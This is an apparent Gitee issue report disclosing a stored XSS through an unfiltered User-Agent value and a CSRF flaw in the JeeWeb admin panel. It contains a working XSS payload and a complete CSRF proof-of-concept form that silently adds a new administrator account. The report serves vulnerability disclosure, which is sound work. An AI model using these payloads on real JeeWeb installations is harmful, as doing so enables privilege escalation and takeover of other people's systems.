457 Star 1.4K Fork 666

JeeWeb敏捷开发平台 / jeeweb

 / 详情

Jeeweb has front-end storage XSS and back-end CSRF to gain administrator privileges

待办的
创建于  
2019-05-09 11:01

I. Vulnerability Analysis

  1. Front-end Storage XSS
    User-Agetn is saved in session when user logs in. And XSS is not filtered.
    jeeweb-web/jeeweb-admin/src/main/java/cn/jeeweb/web/security/shiro/session/mgt/OnlineSessionFactory.java
    输入图片说明

When administrators view online users, read User-Agent from session:
jeeweb-web/jeeweb-admin/src/main/java/cn/jeeweb/web/modules/sys/entity/UserOnline.java
输入图片说明
输入图片说明

  1. CSRF
    When add an administrator in the back-end, there is no token protection; thus an administrator can be added through CSRF.

**
II. Vulnerability testing**
Note: For demonstration purposes, XSS and CSRF are tested separately.
When a general user logs in, use BurpSuite to intercept and modify User-Agent:
User-Agent: </script><script>alert(/XSS/);</script>
输入图片说明

XSS is triggered when an administrator views an online user:
输入图片说明

CSRF test code:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/admin/sys/user/add" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="username" value="newadmin" />
      <input type="hidden" name="realname" value="newadmin" />
      <input type="hidden" name="email" value="newadmin&#64;bing&#46;com" />
      <input type="hidden" name="phone" value="13912345678" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="userpassword2" value="123456" />
      <input type="hidden" name="roleIdList" value="40288ab85a362150015a3675ca950006" />
      <input type="hidden" name="&#95;roleIdList" value="on" />
      <input type="hidden" name="organizationIds" value="" />
      <input type="hidden" name="parentname" value="�&#151;&#160;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

An administrator can be added through CSRF:
输入图片说明

评论 (0)

云雕 创建了任务

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(1)
Java
1
https://gitee.com/dataact/jeeweb.git
git@gitee.com:dataact/jeeweb.git
dataact
jeeweb
jeeweb

搜索帮助